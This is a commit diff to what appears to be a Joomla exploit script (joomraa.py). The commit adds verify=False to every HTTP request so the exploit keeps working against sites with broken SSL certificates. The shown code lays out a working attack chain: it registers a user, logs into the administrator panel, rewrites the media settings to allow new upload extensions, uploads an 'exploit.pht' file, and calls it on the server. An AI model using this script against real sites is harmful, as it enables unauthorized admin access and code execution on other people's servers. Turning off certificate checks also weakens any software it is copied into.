Ignore SSL

Found some sites have issues with the SSL cert so adding ignore to allow exploit to still continue.

Author: random-robbie

Joomraa/joomraa.py

@@ -42,7 +42,7 @@ def extract_token(resp):
 def try_admin_login(options, sess):
 	admin_url = options.url + '/administrator/index.php'
 	print('[-] Getting token for admin login')
-	resp = sess.get(admin_url)
+	resp = sess.get(admin_url, verify=False)
 	token = extract_token(resp)
 	if not token:
 		return False
@@ -53,7 +53,7 @@ def try_admin_login(options, sess):
 		'task': 'login',
 		token: '1'
 	}
-	resp = sess.post(admin_url, data=data)
+	resp = sess.post(admin_url, data=data, verify=False)
 	if 'task=profile.edit' not in resp.text:
 		print('[!] Admin Login Failure!')
 		return
@@ -63,7 +63,7 @@ def try_admin_login(options, sess):
 def get_media_options(options, sess):
 	print("[+] Getting media options")
 	media_options_url = options.url + '/administrator/index.php?option=com_config&view=component&component=com_media&path='
-	resp = sess.get(media_options_url)
+	resp = sess.get(media_options_url, verify=False)
 	results = re.findall(r'name="([^"]+)"\s+[^>]*?value="([^"]+)"', resp.text, re.S)
 	if not results:
 		print("[!] Fail")
@@ -92,7 +92,7 @@ def set_media_options(options, sess, data):
 	newdata['component'] = 'com_media'
 	newdata['task'] = 'config.save.component.apply'
 	config_url = options.url + '/administrator/index.php?option=com_config'
-	resp = sess.post(config_url, data=newdata)
+	resp = sess.post(config_url, data=newdata, verify=False)
 	if 'jform[upload_extensions]' not in resp.text:
 		print('[!] Maybe failed to set media options...')
 		return False
@@ -125,7 +125,7 @@ def stage_two(options, sess):
 def upload_file(options, sess, image_path):
 	print("[*] Uploading exploit.pht")
 	url = options.url + "/administrator/index.php?option=com_media&folder="
-	resp = sess.get(url)
+	resp = sess.get(url, verify=False)
 	match = re.search(r'form action="([^"]+)" id="uploadForm"', resp.text, re.S)
 	if not match:
 		print("[!] Cannot find file upload form!")
@@ -138,12 +138,12 @@ def upload_file(options, sess, image_path):
 		'Filedata[]': (filename, options.exploit, 'application/octet-stream')
 	}
 	data = dict(folder="")
-	resp = sess.post(upload_url, files=files, data=data)
+	resp = sess.post(upload_url, files=files, data=data, verify=False)
 	if filename not in resp.content:
 		print("[!] Failed to upload file!")
 		return False
 	print("[*] Calling exploit")
-	resp = sess.get(exploit_url)
+	resp = sess.get(exploit_url, verify=False)
 	if options.search not in resp.content:
 		print("[!] Search string not in exploit")
 		print(resp)
@@ -179,7 +179,7 @@ def create_user(options, sess, token):
 		'form[task]': 'user.register',
 		token: '1',
 	}
-	return sess.post(options.url + "/index.php/component/users/?task=user.register", data=data, allow_redirects=False)
+	return sess.post(options.url + "/index.php/component/users/?task=user.register", data=data, allow_redirects=False, verify=False)
 
 def parse_options():
 	try:
@@ -198,7 +198,7 @@ def parse_options():
 def pwn_joomla(options):
 	sess = requests.Session()
 	print("[-] Getting token")
-	resp = sess.get(options.url + "/index.php/component/users/?view=login")	
+	resp = sess.get(options.url + "/index.php/component/users/?view=login", verify=False)	
 	token = extract_token(resp)
 	if not token:
 		return False